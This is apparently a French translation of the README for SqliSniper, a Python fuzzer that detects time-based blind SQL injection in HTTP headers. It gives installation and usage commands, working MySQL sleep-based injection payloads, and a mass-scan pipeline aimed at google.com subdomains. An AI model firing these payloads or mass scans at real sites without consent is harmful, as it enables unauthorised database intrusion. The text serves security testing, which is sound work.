
Fuzzer avancé d'injection SQL aveugle basée sur le temps pour les en-têtes HTTP
Fonctionnalités • Installation • Utilisation • Exécuter SqliSniper • Contribuer •
SqliSniper est un outil Python robuste conçu pour détecter les injections SQL aveugles basées sur le temps dans les en-têtes de requêtes HTTP. Il améliore le processus d'évaluation de la sécurité en analysant rapidement et en identifiant les vulnérabilités potentielles grâce au multi-threading, garantissant rapidité et efficacité. Contrairement à d'autres scanners, SqliSniper est conçu pour éliminer les faux positifs et envoyer des alertes lors de la détection, grâce à la fonctionnalité de notification Discord intégrée.

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
Ceci affichera l'aide pour l'outil. Voici toutes les options qu'il prend en charge.
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: By Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detect SQL injection by sending malicious queries
options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads
L'URL peut être fournie avec l'option -u pour un scan de site unique.
./sqlisniper.py -u http://example.com
L'option -r permet à SqliSniper de lire un fichier contenant plusieurs URL pour un scan simultané.
./sqlisniper.py -r url.txt
SqliSniper peut également fonctionner avec une entrée par pipeline grâce à l'option -p.
cat url.txt | ./sqlisniper.py -p
La fonctionnalité de pipeline facilite l'intégration avec d'autres outils. Par exemple, vous pouvez utiliser des outils comme subfinder et httpx, puis rediriger leur sortie vers SqliSniper pour un scan de masse.
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
Par défaut, SqliSniper utilise le fichier payloads.txt. Cependant, l'option --payload peut être utilisée pour fournir un fichier de charges utiles personnalisées.
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
Lors de l'utilisation d'un fichier de charges utiles personnalisées, assurez-vous de remplacer le temps d'attente par %__TIME_OUT__%. SqliSniper ajuste dynamiquement le temps d'attente de manière itérative pour atténuer les faux positifs potentiels.
Le fichier de charges utiles doit ressembler à ceci.
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
Si vous souhaitez tester uniquement avec une seule charge utile, l'option --single-payload peut être utilisée. Assurez-vous de remplacer le temps d'attente par %__TIME_OUT__%.
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
Les en-têtes sont enregistrés dans le fichier headers.txt. Pour scanner un en-tête personnalisé, enregistrez l'en-tête de requête HTTP personnalisé dans le fichier headers.txt.
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper offre également des notifications d'alertes Discord, améliorant ses fonctionnalités en fournissant des alertes en temps réel via les webhooks Discord. Cette fonctionnalité est précieuse lors de scans à grande échelle, permettant des notifications rapides dès la détection.
./sqlisniper.py -r url.txt --discord <web_hookurl>
Les threads peuvent être définis avec l'option --threads.
./sqlisniper.py -r url.txt --threads 10
Remarque : Il est crucial de considérer que l'utilisation d'un nombre plus élevé de threads peut entraîner des faux positifs potentiels ou l'omission de problèmes valides. En raison de la nature des injections SQL basées sur le temps, il est recommandé d'utiliser un nombre de threads plus faible pour une détection plus précise.
Avertissement légalL'utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est strictement interdite. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute mauvaise utilisation ou des dommages causés par ce programme. |
Les contributions à SqliSniper sont toujours les bienvenues. Qu'il s'agisse d'améliorations de fonctionnalités, de corrections de bugs ou d'améliorations de la documentation, toute aide est appréciée.
SqliSniper est distribué sous Licence MIT
SqliSniper est réalisé en
avec beaucoup de 💙 par @Muhammad Danial.